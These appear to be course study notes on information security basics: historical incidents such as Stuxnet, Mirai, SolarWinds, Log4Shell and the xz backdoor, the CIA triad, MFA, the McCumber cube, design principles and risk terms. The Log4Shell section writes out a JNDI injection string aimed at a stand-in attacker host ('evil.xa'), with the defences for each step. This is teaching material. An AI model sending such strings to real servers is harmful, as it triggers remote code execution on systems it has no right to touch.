| Economic | theft and extortion at industrial scale | Bangladesh Bank 2016: fraudulent SWIFT messages stole USD 81 million of 951 million attempted, attributed to North Korea's Lazarus; NotPetya 2017: spread by a Ukrainian accounting software update, over USD 10 billion damage (Maersk, Merck, Mondelez); Norsk Hydro 2019: targeted ransomware took down a company's whole IT and forced manual operation (the class notes' example); Colonial Pipeline 2021: ransomware shut the US East Coast fuel pipeline for days, about USD 4.4 million ransom paid |
| Political | spying, disruption, coercion without firing a shot | Estonia 2007: weeks of DDoS during a dispute with Russia; Stuxnet (found 2010): worm widely attributed to the US and Israel wrecked Iranian enrichment centrifuges; Ukraine December 2015: first confirmed cyber blackout, about 225,000 customers; SolarWinds 2020: APT29 (Cozy Bear) backdoored updates installed by about 18,000 customers, US agencies among them |
| Technical | an arms race | evolving TTPs; Ryuk took a network two hours after initial access (deck); the NSA's leaked EternalBlue drove WannaCry 2017 to over 200,000 computers in about 150 countries; supply chain attacks Log4j 2021 and the xz backdoor 2024; machine learning based approaches next |
- Industrial systems: the deck's OT timeline, Maroochy Shire 2000 to Norsk Hydro 2019, shows attack turning from nuisance to weapon (sewage, centrifuges, blackouts): the history card.
- Nepal: in 2017 attackers abused NIC Asia Bank's SWIFT connection for fraudulent international transfers, the Bangladesh Bank route.
- For defenders: security is a business and national risk, not an IT problem; losses include reputation, money, customers, stock value, sales and control of machinery.
A short history of attacks: from password guessing to Mirai
The deck's history: attacks moved from simple disruptions to cyberphysical and supply chain attacks while the knowledge an attacker needs fell, because each technique is soon packaged as a tool anyone can run; the class notes' historical context and evolution of threats, with real-world impact growing every decade.
Then vs. now: the CERT chart, 1980 to 2000
In the class notes' words, the knowledge required by an intruder has decreased while the sophistication of the attacks has increased.
- Red line, attack sophistication: password guessing, self-replicating code, password cracking, exploiting known vulnerabilities (early 1980s); disabling audits, burglaries, back doors, hijacking sessions (late 1980s); sweepers, sniffers, network management diagnostics, packet spoofing (around 1990); GUI tools, automated probes and scans (mid 1990s); www attacks, denial of service, distributed attack tools (DDoS), "stealth" and advanced scanning techniques, cross site scripting, sophisticated command and control (2000).
- Green line, intruder knowledge: high to low, crossing the red one in the early 1990s; arrows labelled tools and attackers: the sophistication moved into the tools.
- To remember it: once Wai Wai came in a packet, anyone could make noodles in two minutes without cooking skill; once an attack is a packaged tool, anyone can launch it.
Figure: the deck's CERT chart (page 9): attack sophistication rising from password guessing to sophisticated command and control, intruder knowledge falling, crossing in the early 1990s.
The industrial (OT) timeline
| Year | Incident | The deck's line | What happened |
|---|---|---|---|
| 2000 | Maroochy Shire, Australia | large-scale environmental disaster caused by one disgruntled person | a former contractor drove the sewage SCADA system by radio |
| 2003 | Davis-Besse nuclear plant, USA | Slammer worm caused five hours' loss of safety system visibility | safety display blinded; the reactor was already shut down for repairs since 2002 |
| 2010 | Stuxnet | first attack causing cyberphysical damage against a nation state | wrecked enrichment centrifuges at Natanz, Iran |
| 2012 (deck 2010) | Shamoon | demonstrated large dependency on global markets and commodity hardware | wiper erased about 30,000 Saudi Aramco computers; recovery meant buying tens of thousands of hard drives on the world market |
| 2014 | German steel mill | process and control disrupted, causing physical damage | after spear phishing, a blast furnace could not be shut down properly (Germany's BSI) |
| 2015 | Ukraine powergrid | first major cyber attack against a power grid | breakers opened at three distribution companies, about 225,000 customers without power |
| 2015 | LOT flight plans | flight plan infrastructure disrupted, causing delays | LOT Polish Airlines could not issue flight plans at Warsaw, flights grounded |
| 2016 | Water treatment | large-scale water treatment OT process altered, affecting residents | unnamed in the deck; the usual case is Verizon's 2016 Data Breach Digest "Kemuri Water Company": valve settings and chemical dosing changed |
| 2016 (deck 2017) | Mirai botnet | first major DDoS attacks using IoT and IP devices | Krebs on Security, OVH, Dyn |
| 2017 | NotPetya | over USD 10 billion for Merck, Maersk, Mondelez and a UK firm | wiper posing as ransomware, spread by a Ukrainian accounting software update |
| 2017 | TRISIS (Triton) | first major attack against safety instrumentation systems | safety controllers of a Saudi petrochemical plant; tripped a shutdown |
| 2018 | Labcore | (repeats VPNFilter's line) | most likely LabCorp, US medical laboratory firm, SamSam ransomware, July 2018 |
| 2018 | VPNFilter | first major commodity malware that included Modbus filters | about 500,000 routers and storage devices in over 50 countries; a module watched Modbus traffic |
| 2019 | Norsk Hydro | targeted ransomware leveraging IT infrastructure | LockerGoga through the IT network; manual operation |
- Windows logos: eight entries (Davis-Besse, Stuxnet, Shamoon, Ukraine powergrid, NotPetya, Labcore, TRISIS, Norsk Hydro): attacks that ran through ordinary Windows computers, the usual way into OT. The slide ends: what's next?
- Maroochy Shire 2000: a disgruntled former employee of the company that installed the sewage control system used a stolen laptop and radio equipment to access and manipulate the SCADA system controlling the sewage pumps; over 800,000 litres of raw sewage into local rivers, parks and a hotel's grounds (environmental damage, health hazards); after weeks of unexplained malfunctions investigators traced him; arrested, two years in prison. One insider, unauthenticated radio commands.
How Stuxnet worked (deck, six steps)
- Infection: entered by USB stick, spread to Windows machines; a digital certificate from a seemingly reliable company evaded automated detection.
- Search: checked for the targeted Siemens industrial control system, as used for Iran's high-speed enrichment centrifuges.
- Update: did nothing on other systems; on a target, reached the internet to download a newer version.
- Compromise: took over the logic controllers through zero-day vulnerabilities.
- Control: first spied on the operation, then spun the centrifuges to failure.
- Deceive and destroy: fed false readings to the controllers until too late (pictured on the AIC card).
How WannaCry worked (May 2017, beside the deck's NotPetya entry)
- Arrive via exploit: EternalBlue, an exploit of the Windows SMBv1 flaw fixed by patch MS17-010 (March 2017), via
lsass.exe. - Run as a service:
mssecsvc.exeinstalls as a service, queries a kill switch domain, spreads to other devices. - Drop the encryptor:
tasksche.exe. - Drop the ransom note's parts: the
@WanaDecryptor@program (an .exe) and a.wnryconfiguration file. - Encrypt: local and shared files of 176 types, renamed
.WNCRY.
- Kill switch: the malware quit if the unregistered domain answered; Marcus Hutchins registered it on 12 May 2017 and halted the spread. NotPetya used EternalBlue six weeks later.
How the Mirai botnet worked (deck figure, nine steps)
- Scan: bots scan for new victims, brute force logins with factory default usernames and passwords.
- Report: vulnerable devices reported to the report server.
- Send: the report server passes victims to the load servers.
- Load: a load server logs in and loads the malware.
- Join: the victim runs it and joins the bots.
- Command: the C&C server sends infect and attack commands.
- Check: the C&C server checks status with the report server.
- Attack: bots carry out DDoS attacks on the target.
- Stay in touch: bots and C&C keep communicating.
Figure: the deck's Mirai figure (page 14): C&C server, bots (camera, printer, doorbell), new victim, report server and load servers, linked by the nine numbered steps, the bots' arrows pointing up at the target.
- Origin: three young Americans (who later pleaded guilty) built it to knock rival Minecraft game servers offline; September 2016 Krebs on Security and OVH; source code then published; 21 October 2016 Dyn (Twitter, Netflix offline for many users).
- Deck slips: Shamoon dated 2010 (August 2012), Mirai 2017 (2016); Labcore carries VPNFilter's line word for word.
Supply chain attacks: SolarWinds, Log4j and the xz backdoor
Supply chain attack: compromises a trusted supplier, product or shared component (a vendor's update, an open source library, a service provider) to reach that supplier's customers; the code arrives through a legitimate, often signed channel, so one compromise reaches thousands.
- Why hard to stop: trust is the way in (signed updates pass antivirus, allow lists, signature checks); nobody sees inside (vendor build systems, buried libraries); one flaw is everyone's flaw (Log4j in thousands of products, few volunteer maintainers); patient attackers (SolarWinds fifteen months, xz three years).
- To remember it: a famous momo shop's achar the whole street trusts: poison one batch at the supplier and every plate carries it into a hundred homes, though no customer was careless.
SolarWinds Orion (discovered December 2020)
- The deck's facts: threat actor (TA) the Russian-backed APT29 (Cozy Bear); about 18,000 customers impacted: US government agencies, Microsoft, FireEye, Cisco, Intel, Nvidia, VMware; FireEye detected it after finding its own red team tools stolen. SUNBURST, a backdoor, rode a signed Orion update.
| Date | Event (deck timeline) |
|---|---|
| 4 September 2019 | threat actor accesses SolarWinds |
| 12 September 2019 | injects test code, begins a trial run |
| 4 November 2019 | test code injection ends |
| 20 February 2020 | SUNBURST compiled and deployed |
| 26 March 2020 | Hotfix 5, carrying the SUNBURST DLL, available to customers |
| 4 June 2020 | actor removes its malware from the build virtual machines |
| 12 December 2020 | SolarWinds notified of SUNBURST |
| 14 December 2020 | SolarWinds (ticker SWI) files a form 8-K with the US SEC, notifies shareholders and customers |
| 15 December 2020 | software fix released |
| 17 December 2020 | US-CERT alert |
| 11 January 2021 | findings on SUNSPOT, the build server implant that inserted SUNBURST during compilation; investigation ongoing |
Figure: the deck's SolarWinds timeline (page 15), the same dates as bars from September 2019 to January 2021.
Log4j and Log4Shell (December 2021)
- Log4j: a widely used Java-based logging library (record system activity, debug issues, track events) in enterprise applications, cloud services, IoT devices, even game servers like Minecraft. Log4Shell (CVE-2021-44228, CVSS 10.0): arbitrary code execution by getting one string logged; surfaced on Minecraft servers through the game chat.
- Inject: a JNDI lookup in a header likely to be logged: the User-Agent set to a dollar sign followed by
{jndi:ldap://evil.xa/x}. Stopped by a WAF rule. - Log: the vulnerable server passes it to Log4j. Stopped by patching or disabling Log4j.
- Look up: Log4j interpolates the string and queries the attacker's LDAP server
ldap://evil.xa/x. Stopped by disabling JNDI lookups. - Answer: the LDAP server responds with directory information pointing to a malicious Java class (
javaClassName,javaCodebase). - Execute: Java deserializes or downloads the class and runs it. Stopped by disabling remote codebases.
- Call to action (what attackers did): cryptomining, remote shells, ransomware, data exfiltration, APT intrusions. JNDI is the Java Naming and Directory Interface, LDAP the Lightweight Directory Access Protocol; fixed in Log4j 2.15.0, follow-on flaws closed up to 2.17.1. The figure is GovCERT.ch's.
The xz backdoor (discovered March 2024)
- xz Utils (the class notes write XZ): compression tool and library liblzma in most Linux distributions; sshd loads liblzma indirectly on several of them.
- 2021, a persona: GitHub account JiaT75, "Jia Tan", created.
- 2022, building reputation: first contribution; fake profiles pressure the overworked maintainer to accept it and add a maintainer; permissions granted, work merged.
- 2023, taking control: primary contact for xz in Google's OSS-Fuzz; a security feature disabled in the builds.
- 2024, the attack: backdoor in releases 5.6.0 and 5.6.1; fake profiles urge Linux distributions to ship them.
- Discovery, by accident: performance issues; Andres Freund (a Microsoft engineer) noticed SSH logins about half a second slower; GitHub suspended the repository and maintainer accounts; caught before most stable releases (CVE-2024-3094).
- How it installed (deck flow): the release tarball carried a modified m4 macro script; the build unpacked an archive hidden among test files, ran bash script 1 then bash script 2, extracted the payload and deployed
liblzma.ointo the library; when sshd loaded it, the attacker had remote code execution (RCE) over SSH.
Defences
- SBOM (software bill of materials): know every component, so "where do we run Log4j?" takes minutes.
- Third and fourth party risk: assess suppliers and theirs (the domain map's risk assessment branch).
- Patch fast: Log4Shell was mass-exploited within days.
- Least privilege and segmentation: tools like Orion hold wide rights.
- Watch outbound traffic: SUNBURST called home, Log4Shell fetched a class; egress filtering and monitoring (logs, SIEM).
- Secure the build: protected build servers, signed commits, reviewed releases; support open source maintainers.
- On the label: SolarWinds and xz were deliberate insertions (supply chain attacks proper); Log4Shell was an accidental bug in a shared component, exploited everywhere (a supply chain risk); the deck and notes group them because one component reaches thousands.
The CIA triad: confidentiality, integrity, availability
CIA triad: the three properties information security preserves: confidentiality (only authorised people see information), integrity (accurate and complete, changed only in authorised ways), availability (authorised people can use it when needed).
- Other names: the deck's triangle calls it the information security triad; some texts call it the AIC triad (Shon Harris's CISSP guide, to avoid confusion with the CIA agency); in this course AIC means the OT priority order (next card).
- Confidentiality (deck): prevent or minimise unauthorised access to data in storage, in process and in transit; includes privacy (information collected, used and stored only for the purposes stated by the data owner at collection; many organizations collect, swap and sell personal information as a commodity). Example: only the account holder and authorised staff see a balance.
- Integrity (deck): the quality or state of being whole, complete and uncorrupted; protects reliability and correctness, preventing unauthorised alterations so data stays correct, unaltered and preserved; stop unauthorised subjects making changes, and authorised subjects making unauthorised changes (mistakes). Example: a transfer of Rs 5,000 must not become Rs 50,000.
- Availability (deck): authorised subjects get timely, uninterrupted access to objects; its controls support sufficient bandwidth and timeliness of processing as the organization or situation needs; a mechanism offering availability gives high assurance that data, objects and resources are accessible; includes efficient uninterrupted access and DoS prevention. Example: a banking app working before Dashain.
- Interdependence: availability depends on integrity and confidentiality (up but tampered or leaked is not truly available); the three also conflict (encryption slows access; copies widen exposure).
| Property | Attacks | Events (causes) | Countermeasures |
|---|---|---|---|
| Confidentiality | capturing network traffic, stealing password files, social engineering, port scanning, eavesdropping, sniffing, escalation of privileges | failing to encrypt a transmission; failing to authenticate a remote system before transferring data; leaving open otherwise secured access points; accessing malicious code that opens a backdoor; misrouted faxes; documents left on printers; walking away from a terminal showing data | encryption, network traffic padding, strict access control, rigorous authentication procedures, data classification, security policies, extensive personnel training |
| Integrity | viruses, logic bombs, unauthorised access, errors in coding and applications, malicious modification, intentional replacement, system backdoors | corruption while compiled, stored or transmitted; faulty programming; noise in the transmission channel | strict access control, rigorous authentication, IDS, object and data encryption, hash total verifications, interface restrictions, input and function checks, training |
| Availability | DoS attacks, object destruction, communication interruptions | accidentally deleting files; over-utilizing a hardware or software component; under-allocating resources; mislabelling or misclassifying objects | effective access control, monitoring performance and network traffic, firewalls and routers against DoS, redundancy for critical systems, maintained and tested backups |
A specific threat for each leg
- Confidentiality: sniffing: an attacker on the same Wi-Fi reads unencrypted passwords or email; TLS defeats it.
- Integrity: a virus or a man in the middle: files corrupted, a payment's account number altered; hashes, MACs and digital signatures detect it.
- Availability: denial of service: a flood, often from a botnet, exhausts the server; ransomware also attacks availability.
- The deck's picture: confidentiality: WikiLeaks-style leaks, doxxing (publishing private details); integrity: ransomware (alters data), #fakenews; availability: permanent denial of service (PDoS), MBR wipers (erase the master boot record), bricking firmware (leaves a device dead).
Controls by leg (deck)
- Confidentiality: encryption at rest (whole disk, database), in transit (TLS, IPsec, SSH), physical and technical access control.
- Integrity: hashing (data integrity), configuration management (system integrity), change control (process integrity), access control, code signing, CRC checks.
- Availability: RAID, clustering, load balancing, redundant data and power lines, backups, disk shadowing, co-location and off-site facilities, roll-back, fail-over.
- Corrections: the deck's SSL is replaced by TLS and PPTP's authentication is broken; a CRC catches accidental corruption only, so deliberate tampering needs a keyed MAC or digital signature.
Supporting concepts (the deck's concepts, conditions and aspects)
| Leg | Aspect | Meaning |
|---|---|---|
| Confidentiality | Sensitivity | information that could cause harm if disclosed (a zero-day with PoC code) |
| Confidentiality | Discretion | an operator's decision to control disclosure to minimise harm |
| Confidentiality | Criticality | how mission critical (trade secret, military intelligence) |
| Confidentiality | Concealment | hiding, preventing disclosure (security through obscurity) |
| Confidentiality | Secrecy | keeping something secret |
| Confidentiality | Privacy | keeping personally identifiable or harmful information confidential |
| Confidentiality | Seclusion | storing out of the way, with strict access controls |
| Confidentiality | Isolation | keeping separate, preventing commingling or disclosure |
| Integrity | Accuracy | correct and precise |
| Integrity | Truthfulness | a true reflection of reality |
| Integrity | Authenticity | authentic or genuine |
| Integrity | Nonrepudiation | not able to deny having performed an action, or able to verify the origin of a communication or event |
| Integrity | Accountability | responsible or obligated for actions and results |
| Integrity | Responsibility | in charge or in control (the data custodian protects the asset) |
| Integrity | Validity | factually or logically sound: all false information excluded |
| Integrity | Completeness | all needed parts: all true information included |
| Integrity | Comprehensiveness | complete in scope, intentional limits documented |
| Availability | Usability | easy to use, learn, understand and control |
| Availability | Accessibility | the widest range of subjects can use it, whatever their limitations |
| Availability | Timeliness | prompt, low-latency response |
CIA priority, and why operational technology reverses it to AIC
CIA priority: every organization weighs the three differently; IT follows CIA, operational technology follows AIC: availability, then integrity, then confidentiality.
- Military and government: confidentiality first. Private companies: often availability first. IT systems (email, ERP, databases): CIA order, the data is the asset. OT: availability overall, integrity over confidentiality (deck).
- OT: hardware and software that monitor and control physical processes: PLCs, SCADA, distributed control systems, MES; power grids, hydropower, water, pipelines, factories. NIST SP 800-82 Rev. 3 (2023), Guide to Operational Technology Security.
- Availability first: the process is physical and continuous (a stopped controller stops a turbine or line); safety (Davis-Besse 2003, Slammer blinded a safety display about five hours); real time and hard to patch (reboots wait for planned shutdowns and vendor approval).
- Integrity second: a wrong value is a physical event (overheated boiler, overdosed water); Stuxnet altered PLC logic and replayed normal readings; TRISIS 2017 attacked the safety systems.
- Confidentiality last: process data (tank level, valve position) is rarely secret; Modbus and basic DNP3 have no encryption or authentication.
- To remember it: an imagined hydropower plant: someone reading its screens learns only the reservoir level (C); a changed setpoint can wreck a turbine (I); stopped controllers take the plant off the grid (A); its engineers fear them in the order A, I, C.
Figure: the deck's Stuxnet graphic (page 12), six steps: infection by USB stick with a trusted-looking digital certificate, a search for Siemens control systems, an update over the internet, compromise of the controllers through zero-day flaws, control (the centrifuges spun to failure), deceive and destroy (false readings to the operators).
| Point | IT (CIA) | OT (AIC) |
|---|---|---|
| Top priority | protect the data | keep the process running safely |
| Worst outcome | data breach | outage, damage, injury |
| Component life | about 3 to 5 years | 10 to 15 years or longer |
| Patching | regular, often automatic | rare, planned shutdowns, vendor approval |
| Response time | seconds tolerated | real time, milliseconds |
| Typical systems | email, ERP, databases, websites | PLC, SCADA, DCS, MES, HMI |
- Example: Maroochy Shire 2000: nothing secret leaked; harm to availability (pumps) and integrity (false commands); over 800,000 litres of sewage.
- Safety: many OT engineers put safety above all three; the deck's AIC keeps it inside availability and integrity.
Security goals beyond the triad, and security objectives
Security goal: a property the programme preserves; beyond CIA, frameworks add authenticity, accountability and non-repudiation. A security objective is a specific, measurable target that serves a goal.
- Why: CIA says nothing about who acted or whether a sender is genuine; a login with a stolen password breaks none of the three at that moment. ISO/IEC 27000 notes that authenticity, accountability, non-repudiation and reliability can also be involved.
| Goal | Meaning | Achieved by | Example |
|---|---|---|---|
| Authenticity | genuine and verifiable: user, message or data is what and from whom it claims | authentication, certificates, digital signatures, MACs | banking app checks the server's TLS certificate before sending a PIN |
| Accountability | every action traced to one identified user or process | unique IDs, logging, audit trails, no shared accounts | audit log shows which clerk changed a salary |
| Non-repudiation | a party cannot deny sending, receiving or doing | digital signature with a private key only the signer holds, signed receipts, tamper-evident logs | a signed tender bid cannot be disowned |
| Privacy | a person's control over personal data | consent, purpose limitation, minimisation | patient data used only for treatment |
| Assurance | grounds for confidence the other goals are met | testing, audit, certification, monitoring | ISO/IEC 27001 certification audit |
- To remember it: a cheque: the signature checked against the bank's specimen (authenticity); the signed cheque proves its writer issued it (non-repudiation); the bank's records show which teller paid it (accountability).
- Sources: FISMA defines integrity to include non-repudiation and authenticity; NIST SP 800-33 (2001) lists availability, integrity, confidentiality, accountability, assurance; Donn Parker's hexad (1998) adds possession or control (a stolen encrypted laptop) and utility (data under a lost key is intact but useless).
- Non-repudiation needs asymmetry: a MAC's shared key is held by both ends (integrity and authenticity only); a private key signature gives non-repudiation.
- Objectives (tracked as KPIs and KRIs): full disk encryption on every laptop by June; every change through change control; payment gateway up 99.9 percent of each month; quarterly restore test; no shared admin accounts, logs kept a year and reviewed weekly.
- Organizational objectives: protect assets and reputation, keep the business running, comply with law and contracts (Nepal: Electronic Transactions Act 2008, Privacy Act 2018), keep risk within the accepted level.
IAAA, authentication factors, MFA and phishing-resistant MFA
IAAA: identification (claim), authentication (proof), authorization (what is allowed), accountability (trace), plus non-repudiation (cannot deny).
- Identification: the system recognises the claimed identity: username, card swipe, biometric presented; only a claim.
- Authentication: proof of the claim: password, one-time code, fingerprint match.
- Authorization: an ACL compares subject, object and intended activity (read, write, delete); least privilege.
- Accountability: actions linked to a person or process through logs; password sharing destroys it.
- To remember it: the college exam portal on result day: the roll number (identification), the password (authentication), the student's own marks only, never editable (authorization), the log of which roll number opened which result and when (accountability).
- Non-repudiation: the assurance that someone cannot deny the validity of something (a signed transaction). AAA (authentication, authorization, accounting): RADIUS and TACACS+ for VPN and Wi-Fi.
- I4A: the syllabus's practical list (lab 13, access control configuration) writes "I4A and MFA" without expanding it; it is this IAAA.
| Factor | Type | Examples | Weakness |
|---|---|---|---|
| Something you know | knowledge | password, PIN, passphrase, security question | guessed, phished, reused, shared |
| Something you have | possession | phone with app or SMS code, smart card, token, security key | lost, stolen, SIM swapped, codes phished |
| Something you are | inherence | fingerprint, face, iris, voice | cannot be changed once copied; false accepts and rejects |
| Somewhere you are | location | IP address, GPS, office network | spoofed via VPN; supporting signal |
| Something you do | behaviour | typing rhythm, signature dynamics, gait | varies; continuous checks |
- The class notes' names: knowledge factor (something you know: secret information only the user should possess: password, PIN, security answer); possession factor (something you have: a unique physical or digital item: smartphone receiving an OTP, personal device, hardware token); inherence factor (something you are: a unique biological or behavioural trait: fingerprint, face ID).
- MFA: two or more factors from different categories; password plus PIN is single factor, password plus phone code is two factor; ATM card plus PIN is MFA. Microsoft (2019): MFA can block over 99.9 percent of account compromise attacks. Class notes: a preventive technical control creating layered defence; the most common traditional MFA pair is a password plus an OTP (one-time password) sent to a device.
- Ordinary MFA is phishable: real-time phishing (adversary in the middle relays password and code); MFA fatigue or push bombing (Uber 2022); SIM swapping (NIST SP 800-63B calls SMS a restricted authenticator).
- Phishing-resistant MFA: bound to the genuine site by public key cryptography, no secret to hand over. CISA's two forms: FIDO2/WebAuthn (security keys, passkeys) and PKI smart cards (US PIV).
- Class notes' version: lessens or removes phishable factors, relying on factors an attacker could only get by physically stealing the user's device or biometrics: passkeys or cryptographic keys on the user's own device; external security devices (USB keys, also over Bluetooth or NFC); biometric factors.
- On biometrics: a fingerprint resists phishing only because it unlocks a key on the device and is never sent to the site; CISA counts only FIDO2/WebAuthn and PKI-based MFA as phishing-resistant.
How FIDO2 works
- Registration: the authenticator makes a key pair for that one site; the site stores the public key.
- Login: the site sends a random challenge; the browser adds the real origin.
- Signing: after touch, PIN or fingerprint, the authenticator signs with that site's private key, which never leaves the device.
- Verification: the site checks with the public key; a look-alike domain has a different origin, so no key matches and nothing can be relayed.
- Mandate: OMB memorandum M-22-09 (2022) made phishing-resistant MFA mandatory for US federal staff, first step of its zero trust strategy.
| Stops | Password only | Ordinary MFA | Phishing-resistant MFA |
|---|---|---|---|
| guessing and reuse | no | yes | yes |
| real-time phishing proxies | no | no | yes |
| push fatigue and SIM swap | no | no | yes |
| secret the user can hand over | password | password and code | none |
The CNSS security model (McCumber cube)
CNSS security model: a 3 × 3 × 3 cube crossing security goals (confidentiality, integrity, availability), information states (storage, processing, transmission) and security measures (technology; policy and practices; education, training and awareness); main purpose: find gaps in a security programme's coverage.
- Origin: John McCumber, 1991; adopted by the US Committee on National Security Systems (then NSTISSC) in the training standard NSTISSI No. 4011 (1994). The deck: it shows the three dimensions central to the discussion of InfoSec, named information characteristics, information location, security control categories. The class notes call the third countermeasures (policy, education, technology) or security measures (safeguards): technology; policy and procedures; human factors (awareness, training, education).
Figure: the cube, goals as rows, states as columns, measures as depth slices; the shaded cell confidentiality, transmission, technology reads as TLS or a VPN.
| Axis | Values | Question |
|---|---|---|
| Security goals (critical characteristics) | confidentiality, integrity, availability | what must be preserved? |
| Information states | storage (at rest), processing (in use), transmission (in transit) | where is the data now? |
| Security measures | technology; policy and practices; education, training, awareness | what kind of control protects it? |
- How it applies: 27 cells, each a question (confidentiality × transmission × technology: TLS, VPN, IPsec); an empty cell is a gap; walking the cube checks balance, since organizations fill the technology slice and neglect policy and people. It helps establish and evaluate a security programme, ensuring all aspects are addressed, and looks beyond technology to goals, states and controls together.
- Class notes' example: a technical (technology) control for data in transmission, to ensure confidentiality, still leaves the programme incomplete with no policy or training (human factors) for the integrity of data in storage.
| Goal | Storage | Processing | Transmission |
|---|---|---|---|
| Confidentiality | encryption at rest; access controls (RBAC, ABAC); classification and labelling; secure backups | secure enclaves (Intel SGX, AWS Nitro); encrypted computation (homomorphic encryption); role based enforcement | network encryption (TLS, VPNs, IPsec); secure protocols (SSH, HTTPS); masking, tokenisation |
| Integrity | hashing (SHA-256, HMAC); file integrity monitoring (Tripwire, OSSEC); digital signatures; version control, checksums | input validation (sanitisation, escaping); code signing and integrity verification; tamper-proof logging | MACs; digital certificates (PKI, TLS certificates); certificate (SSL) pinning |
| Availability | RAID, fault tolerance; cloud redundancy (multi-region replication); backup and recovery plans | resource isolation (containers, microservices); capacity planning, auto-scaling; BCP and DR | load balancing, failover clustering; DDoS mitigation (CDN, WAF, rate limiting); network monitoring, QoS enforcement |
- Third axis in practice (deck): technology (firewalls, IDS/IPS, SIEM, EDR and XDR, secure coding with SAST and DAST, static and dynamic application security testing, patching and scanning); policies and procedures (ISO/IEC 27001, NIST or SOC 2 based policies, awareness training and compliance audits, BCP, IRP, DRP); people, security culture and training (awareness and phishing training, insider threat management, IAM with MFA).
- Example: a college's student records (stored, processed by the results system, sent to the university portal); for integrity: hashing and backups (technology), a change control policy for grade entry (policy), training for staff entering grades (education).
- Limits: shows missing controls, not which gaps matter (risk assessment ranks them); omits authenticity and non-repudiation, which later models add.
Security design principles: least privilege, separation of duties and the rest
Security principles: rules for designing and running systems so goals are met by construction; the classic set is Saltzer and Schroeder's design principles (1975), taught in Bishop's Computer Security, plus operational rules.
| Principle | Meaning | Example |
|---|---|---|
| Least privilege | only the rights the task needs, only as long as needed | teller views accounts, cannot approve loans; web server not as root |
| Need to know | only the information the task needs | a doctor sees her own patients' records |
| Separation of duties | no one person controls a whole sensitive task | one enters a payment, another approves; developer cannot deploy alone |
| Fail-safe defaults | deny unless explicitly allowed | firewall rule set ending in deny all |
| Economy of mechanism | small, simple, checkable design | one reviewed login module |
| Complete mediation | check every access, every time | authorization on each request |
| Open design | secrecy of the design is not relied on, only of keys (Kerckhoffs) | AES public, keys secret |
| Separation of privilege | two conditions or keys | two person rule, MFA |
| Least common mechanism | minimise shared mechanisms | a temporary folder per user |
| Psychological acceptability | easy to use correctly | single sign-on instead of ten passwords |
- Security through obscurity (the deck's data hiding): may slow an attacker but must never be the only control.
- Operational: job rotation and mandatory vacations (fraud needing daily upkeep surfaces), defence in depth, zero trust (NIST SP 800-207, 2020: nothing trusted for being inside; every request authenticated and authorised).
- Goals served: least privilege and need to know limit what a stolen account reads or changes; separation of duties stops one insider committing and hiding fraud; fail-safe defaults and complete mediation close forgotten paths; psychological acceptability keeps passwords off notes. The terminated vice president's case (chapter 6): his rights outlived his job by three years.
Defence in depth: layered security
Defence in depth: several independent layers of controls between attacker and asset, so when one fails the next still stops, slows or detects the attack.
- Origin: castles (moat, outer wall, inner wall, keep); military defence in depth trades ground for time. Premise: every control eventually fails. The NSA's version rests on people, technology and operations.
Figure: seven concentric half rings, policies outermost and data at the core.
| Layer | Protects | Controls |
|---|---|---|
| Policies, procedures, awareness | people and rules | policy, password rules, classification, training |
| Physical | buildings, rooms, hardware | locks, fences, guards, CCTV, badges |
| Perimeter | boundary with the internet | firewall, VPN, packet filters, DMZ, gateways |
| Internal network | internal traffic | VLAN segmentation, internal firewalls, IDS, internal encryption |
| Host | servers and endpoints | hardened OS, patches, malware protection and EDR, host firewall |
| Application | the software | SSO, authentication and authorization, input validation, WAF |
| Data | the asset | database, content and message security: encryption, ACLs, DLP, backups |
- The four the class notes ask: perimeter (first line, protecting the internal network from external threats from the internet: firewalls, VPNs, packet filters control traffic in and out, DMZ); internal network (the internal network layer, operating inside the perimeter, secures communication within the corporate network and assumes the perimeter is crossed: segmentation, internal firewalls, IDS, internal encryption stop lateral movement); host (patched, hardened OS, malware protection, EDR); data (innermost and most critical: database, content and message security; encrypted, access controlled, backed up even if a host falls).
- An attack walked through: phishing email: gateway may block, trained user may report, EDR may stop the macro, segmentation may stop spread, MFA may make a stolen password useless, encryption may make copies unreadable, SIEM logs may detect the rest. The attacker must win at every layer; the defender at one.
- Making it real: independent failures (same vendor, same flaw is one layer); mix preventive, detective, corrective; assume breach (leads to zero trust); depth follows risk (most layers on the most valuable assets).
Assets, threats, vulnerabilities and risk: the vocabulary
These terms (the deck's risk management terms and terminologies) build on each other; the example is a college's online results system.
| Term | Definition (deck) | Example |
|---|---|---|
| Asset | anything of value: data, IP, people (knowledge, skills, abilities), hardware, software, procedures, brand, goodwill | results database and portal |
| Threat | any action or inaction that could cause damage, destruction, alteration, loss or disclosure of assets, or block access to or prevent maintenance of them | theft or alteration of results; a flood |
| Threat agent | what exploits the vulnerability: people, programs, hardware, systems; threat events: natural calamity, system failure, human error, power outage | a student changing grades; a hacker |
| Vulnerability | weakness, flaw, loophole, oversight, error, limitation, frailty, susceptibility | unpatched SQL injection in the login form; shared admin password |
| Exposure | susceptible to asset loss because of a threat | portal online, flaw public |
| Risk | likelihood that a threat exploits a vulnerability to harm an asset; an assessment of probability, possibility or chance | high |
| Attack | exploitation of a vulnerability by a threat agent | injection string sent |
| Breach | a security mechanism bypassed or thwarted | grades altered |
| Safeguard (control, countermeasure) | reduces likelihood or impact, or detects: firewall, IDS/IPS, auditing, classification, separation of duties | parameterised queries, WAF, patch, audit logs |
Figure: the deck's loop: threats exploit vulnerabilities, which result in exposure, which is risk, which is reduced by safeguards, which protect assets, which are endangered by threats.
- Relationship: a threat agent carries out a threat that exploits a vulnerability in an asset; the chance is risk; safeguards reduce it.
- All three needed: no vulnerability, no risk (flood and a third floor server room); no threat, no risk (unreachable flawed software); nothing of value, nothing to lose. Loosely risk is threat times vulnerability times impact, .
- Analogy (Casey Ellis's tweet, April 2021, shown printed on a T-shirt): threat actor wants to punch you; threat is the punch; vulnerability is your inability to block it; risk is the likelihood of being punched; acceptable risk is your willingness to be punched.
- Controls act on the parts: a patch removes the vulnerability; a firewall or deterrent keeps the threat off; backups and insurance cut impact; nothing reduces the asset's value, so identification starts with assets.
The categories of threat, and where vulnerabilities come from
Threat categories: Whitman and Mattord's twelve (the deck's threats to information security):
| Category | Examples (deck) |
|---|---|
| Compromises to intellectual property | software piracy or other copyright infringement |
| Deviations in quality of service from service providers | fluctuations in power, data and other services |
| Espionage or trespass | unauthorised access and data collection |
| Forces of nature | fire, flood, earthquake, lightning |
| Human error or failure | accidents, employee mistakes, failure to follow policy |
| Information extortion | blackmail threat of information disclosure |
| Sabotage or vandalism | damage to or destruction of systems or information, defacement |
| Software attacks | malware: viruses, worms, macros, denial of service, script injections |
